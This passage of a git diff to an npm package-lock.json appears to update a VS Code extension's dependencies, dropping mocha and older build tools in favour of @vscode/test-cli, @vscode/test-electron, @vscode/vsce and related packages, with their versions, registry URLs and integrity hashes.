"^1.11.1" }, "bin": { - "mkdirp": "bin/cmd.js" + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/mkdirp-classic": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", - "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", - "dev": true - }, - "node_modules/mocha": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.2.0.tgz", - "integrity": "sha512-kNn7E8g2SzVcq0a77dkphPsDSN7P+iYkqE0ZsGCYWRsoiKjOt+NvXfaagik8vuDa6W5Zw3qxe8Jfpt5qKf+6/Q==", - "dev": true, - "dependencies": { - "@ungap/promise-all-settled": "1.1.2", - "ansi-colors": "4.1.1", - "browser-stdout": "1.3.1", - "chokidar": "3.5.3", - "debug": "4.3.3", - "diff": "5.0.0", - "escape-string-regexp": "4.0.0", - "find-up": "5.0.0", - "glob": "7.2.0", - "growl": "1.10.5", - "he": "1.2.0", - "js-yaml": "4.1.0", - "log-symbols": "4.1.0", - "minimatch": "3.0.4", - "ms": "2.1.3", - "nanoid": "3.2.0", - "serialize-javascript": "6.0.0", - "strip-json-comments": "3.1.1", - "supports-color": "8.1.1", - "which": "2.0.2", - "workerpool": "6.2.0", - "yargs": "16.2.0", - "yargs-parser": "20.2.4", - "yargs-unparser": "2.0.0" - }, - "bin": { - "_mocha": "bin/_mocha", - "mocha": "bin/mocha" + "node_modules/@vscode/test-cli/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" }, "engines": { - "node": ">= 12.0.0" + "node": ">=16 || 14 >=14.17" }, "funding": { - "type": "opencollective", - "url": "https://opencollective.com/mochajs" + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/mocha/node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true - }, - "node_modules/mocha/node_modules/supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "node_modules/@vscode/test-cli/node_modules/supports-color": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, + "license": "MIT", "engines": { - "node": ">=10" + "node": ">=18" }, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "node_modules/mute-stream": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", - "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", - "dev": true - }, - "node_modules/nanoid": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz", - "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==", + "node_modules/@vscode/test-electron": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-2.5.2.tgz", + "integrity": "sha512-8ukpxv4wYe0iWMRQU18jhzJOHkeGKbnw7xWRX3Zw1WJA4cEKbHcmmLPdPrPtL6rhDcrlCZN+xKRpv09n4gRHYg==", "dev": true, - "bin": { - "nanoid": "bin/nanoid.cjs" + "license": "MIT", + "dependencies": { + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.5", + "jszip": "^3.10.1", + "ora": "^8.1.0", + "semver": "^7.6.2" }, "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + "node": ">=16" } }, - "node_modules/napi-build-utils": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", - "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", - "dev": true - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", - "dev": true - }, - "node_modules/node-abi": { - "version": "2.30.1", - "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.30.1.tgz", - "integrity": "sha512-/2D0wOQPgaUWzVSVgRMx+trKJRC2UG4SUc4oCJoXx9Uxjtp0Vy3/kt7zcbxHF8+Z/pK3UloLWzBISg72brfy1w==", + "node_modules/@vscode/vsce": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.7.0.tgz", + "integrity": "sha512-LY9r2T4joszRjz4d92ZPl6LTBUPS4IWH9gG/3JUv+1QyBJrveZlcVISuiaq0EOpmcgFh0GgVgKD4rD/21Tu8sA==", "dev": true, "dependencies": { - "semver": "^5.4.1" - } - }, - "node_modules/node-abi/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, + "@azure/identity": "^4.1.0", + "@secretlint/node": "^10.1.2", + "@secretlint/secretlint-formatter-sarif": "^10.1.2", + "@secretlint/secretlint-rule-no-dotenv": "^10.1.2", + "@secretlint/secretlint-rule-preset-recommend": "^10.1.2", + "@vscode/vsce-sign": "^2.0.0", + "azure-devops-node-api": "^12.5.0", + "chalk": "^4.1.2", + "cheerio": "^1.0.0-rc.9", + "cockatiel": "^3.1.2", + "commander": "^12.1.0", + "form-data": "^4.0.0", + "glob": "^11.0.0", + "hosted-git-info": "^4.0.2", + "jsonc-parser": "^3.2.0", + "leven": "^3.1.0", + "markdown-it": "^14.1.0", + "mime": "^1.3.4", + "minimatch": "^3.0.3", + "parse-semver": "^1.1.1", + "read": "^1.0.7", + "secretlint": "^10.1.2", + "semver": "^7.5.2", + "tmp": "^0.2.3", + "typed-rest-client": "^1.8.4", + "url-join": "^4.0.1", + "xml2js": "^0.5.0", + "yauzl": "^2.3.1", + "yazl": "^2.2.2" + }, "bin": { - "semver": "bin/semver" - } - }, - "node_modules/node-addon-api": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz", - "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==", - "dev": true - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, + "vsce": "vsce" + }, "engines": { - "node": ">=0.10.0" + "node": ">= 20" + }, + "optionalDependencies": { + "keytar": "^7.7.0" } }, - "node_modules/npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", + "node_modules/@vscode/vsce-sign": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign/-/vsce-sign-2.0.3.tgz", + "integrity": "sha512-NYktTVXYIjJ41CTfImuWLYSw2UoZwYYFk7VcVYTjTZnD7NnuaM3DizaFZfuRG5YMRT/oZa1t1d4bwzrBALR3VQ==", "dev": true, - "dependencies": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "node_modules/nth-check": { + "hasInstallScript": true, + "optionalDependencies": { + "@vscode/vsce-sign-alpine-arm64": "2.0.1", + "@vscode/vsce-sign-alpine-x64": "2.0.1", + "@vscode/vsce-sign-darwin-arm64": "2.0.1", + "@vscode/vsce-sign-darwin-x64": "2.0.1", + "@vscode/vsce-sign-linux-arm": "2.0.1", + "@vscode/vsce-sign-linux-arm64": "2.0.1", + "@vscode/vsce-sign-linux-x64": "2.0.1", + "@vscode/vsce-sign-win32-arm64": "2.0.1", + "@vscode/vsce-sign-win32-x64": "2.0.1" + } + }, + "node_modules/@vscode/vsce-sign-alpine-arm64": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", - "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-arm64/-/vsce-sign-alpine-arm64-2.0.1.tgz", + "integrity": "sha512-HM2BHzyRKoUHVaaVmLFYcKlnMOcUAfU99oA1yAWX46D6iLZ8rWJYy2IOKTSMOXtVoc5d2hQdZR4+BCV5By4Flg==", + "cpu": [ + "arm64" + ], "dev": true, - "dependencies": { - "boolbase": "^1.0.0" - }, - "funding": { - "url": "https://github.com/fb55/nth-check?sponsor=1" - } + "optional": true, + "os": [ + "alpine" + ] }, - "node_modules/number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "node_modules/@vscode/vsce-sign-alpine-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-x64/-/vsce-sign-alpine-x64-2.0.1.tgz", + "integrity": "sha512-GNh4dNmqwQqEDP2ngUgdu5ZYkJZAHomTppMI0v9sveFoZdML5iWuNGemvCEyInUpSb6Xjxc78ejeMoDay22wBw==", + "cpu": [ + "x64" + ], "dev": true, - "engines": { - "node": ">=0.10.0" - } + "optional": true, + "os": [ + "alpine" + ] }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } + "node_modules/@vscode/vsce-sign-darwin-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-arm64/-/vsce-sign-darwin-arm64-2.0.1.tgz", + "integrity": "sha512-iFnCbC8RBUyT0ZKEmop5yi7/NxP5G2gIW/giJHYDYppkhfyAR5STxlpf8Vx9hqIS0jPbeldNSn5a5BGMKtGXug==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ] }, - "node_modules/object-inspect": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", - "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "node_modules/@vscode/vsce-sign-darwin-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-x64/-/vsce-sign-darwin-x64-2.0.1.tgz", + "integrity": "sha512-Dpv3PRpOzfDpji9JGVxe+hHyh41evyquMeXYykkTdcB3u3bZMoAgYoBlEOGnu87xb4s2J5DTj/J590yN0+dI0A==", + "cpu": [ + "x64" + ], "dev": true, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } + "optional": true, + "os": [ + "darwin" + ] }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "node_modules/@vscode/vsce-sign-linux-arm": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm/-/vsce-sign-linux-arm-2.0.1.tgz", + "integrity": "sha512-iltMQuS8K63aIabVrPBB8P2L37XkSwUqPTFLYlH6Bw+UpWJTFFvFFCKlmbxWrq1j8WkG+68Fm437ZfAkRW/rjQ==", + "cpu": [ + "arm" + ], "dev": true, - "dependencies": { - "wrappy": "1" - } + "optional": true, + "os": [ + "linux" + ] }, - "node_modules/optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "node_modules/@vscode/vsce-sign-linux-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm64/-/vsce-sign-linux-arm64-2.0.1.tgz", + "integrity": "sha512-SL6MeobrArp5SKPeUYVr5chp7a42L83vYAzLvD+oQM8fQ8DrZWYpNIyVkxGgsppZRyAt0UU2/5ShPxuNKfnZOA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@vscode/vsce-sign-linux-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-x64/-/vsce-sign-linux-x64-2.0.1.tgz", + "integrity": "sha512-6N6dkZoJX/WKezZ3efCKVKjnbx+TlnUtNUkepyUUhCa3dGjGDqUkeakE2Kz266Bsp0Mm/68zS9HLKVOEv9vn0A==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@vscode/vsce-sign-win32-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-arm64/-/vsce-sign-win32-arm64-2.0.1.tgz", + "integrity": "sha512-t4uYPpQummrmKaDw5Ka6QMEQ+We/Uo6xDEytFjN2jZ3jNOno3Mi7yWlTLg3VDAteHNGA7eBbMZ89Habl6xn8bg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@vscode/vsce-sign-win32-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-x64/-/vsce-sign-win32-x64-2.0.1.tgz", + "integrity": "sha512-ofY1iXoXaNlM3zDt5jw7v59NMh0y2GvKrP4A74aUDJjaXaDd6n/hLaOpDLk4a+MjX6HWiEBr5yNqHGKYa+t2jg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@vscode/vsce/node_modules/xml2js": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.5.0.tgz", + "integrity": "sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==", "dev": true, "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" + "sax": ">=0.6.0", + "xmlbuilder": "~11.0.0" }, "engines": { - "node": ">= 0.8.0" + "node": ">=4.0.0" } }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "dependencies": { - "yocto-queue": "^0.1.0" - }, + "node_modules/@xmldom/xmldom": { + "version": "0.8.10", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.10.tgz", + "integrity": "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw==", "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=10.0.0" } }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", "dev": true, + "license": "ISC" + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", "dependencies": { - "p-limit": "^3.0.2" + "event-target-shim": "^5.0.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=6.5" } }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "node_modules/acorn": { + "version": "8.11.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", + "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", "dev": true, - "dependencies": { - "callsites": "^3.0.0" + "bin": { + "acorn": "bin/acorn" }, "engines": { - "node": ">=6" + "node": ">=0.4.0" } }, - "node_modules/parse-semver": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/parse-semver/-/parse-semver-1.1.1.tgz", - "integrity": "sha1-mkr9bfBj3Egm+T+6SpnPIj9mbLg=", + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", "dev": true, - "dependencies": { - "semver": "^5.1.0" + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, - "node_modules/parse-semver/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "node_modules/agent-base": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.1.tgz", + "integrity": "sha512-H0TSyFNDMomMNJQBn8wFV5YC/2eJ+VXECwOadZJT554xP6cODZHPX3H9QMQECxvrgiSOP1pHjy1sMWQVYJOUOA==", "dev": true, - "bin": { - "semver": "bin/semver" + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" } }, - "node_modules/parse5": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", - "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", - "dev": true - }, - "node_modules/parse5-htmlparser2-tree-adapter": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz", - "integrity": "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==", + "node_modules/agentkeepalive": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", + "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", "dev": true, + "license": "MIT", "dependencies": { - "parse5": "^6.0.1" + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" } }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", "dev": true, + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, "engines": { "node": ">=8" } }, - "node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, - "engines": { - "node": ">=0.10.0" + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" } }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "node_modules/ansi-escapes": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.1.1.tgz", + "integrity": "sha512-Zhl0ErHcSRUaVfGUeUdDuLgpkEo8KIFjB4Y9uAc46ScOpdDiU1Dbyplh7qWJeJ/ZHpbyMSM26+X3BySgnIz40Q==", "dev": true, + "dependencies": { + "environment": "^1.0.0" + }, "engines": { - "node": ">=8" + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", - "dev": true - }, - "node_modules/picomatch": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", - "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", - "dev": true, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, "engines": { - "node": ">=8.6" + "node": ">=8" }, "funding": { - "url": "https://github.com/sponsors/jonschlinkert" + "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/plist": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/plist/-/plist-3.0.5.tgz", - "integrity": "sha512-83vX4eYdQp3vP9SxuYgEM/G/pJQqLUz/V/xzPrzruLs7fz7jxGQ1msZ/mg1nwZxUSuOp4sb+/bEIbRrbzZRxDA==", + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, "dependencies": { - "base64-js": "^1.5.1", - "xmlbuilder": "^9.0.7" + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" }, "engines": { - "node": ">=6" + "node": ">= 8" } }, - "node_modules/plist/node_modules/xmlbuilder": { - "version": "9.0.7", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-9.0.7.tgz", - "integrity": "sha1-Ey7mPS7FVlxVfiD0wi35rKaGsQ0=", + "node_modules/aproba": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "dev": true, + "license": "ISC" + }, + "node_modules/archiver": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz", + "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", + "dependencies": { + "archiver-utils": "^5.0.2", + "async": "^3.2.4", + "buffer-crc32": "^1.0.0", + "readable-stream": "^4.0.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^6.0.1" + }, "engines": { - "node": ">=4.0" + "node": ">= 14" } }, - "node_modules/prebuild-install": { - "version": "6.1.4", - "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-6.1.4.tgz", - "integrity": "sha512-Z4vpywnK1lBg+zdPCVCsKq0xO66eEV9rWo2zrROGGiRS4JtueBOdlB1FnY8lcy7JsUud/Q3ijUxyWN26Ika0vQ==", - "dev": true, + "node_modules/archiver-utils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz", + "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", "dependencies": { - "detect-libc": "^1.0.3", - "expand-template": "^2.0.3", - "github-from-package": "0.0.0", - "minimist": "^1.2.3", - "mkdirp-classic": "^0.5.3", - "napi-build-utils": "^1.0.1", - "node-abi": "^2.21.0", - "npmlog": "^4.0.1", - "pump": "^3.0.0", 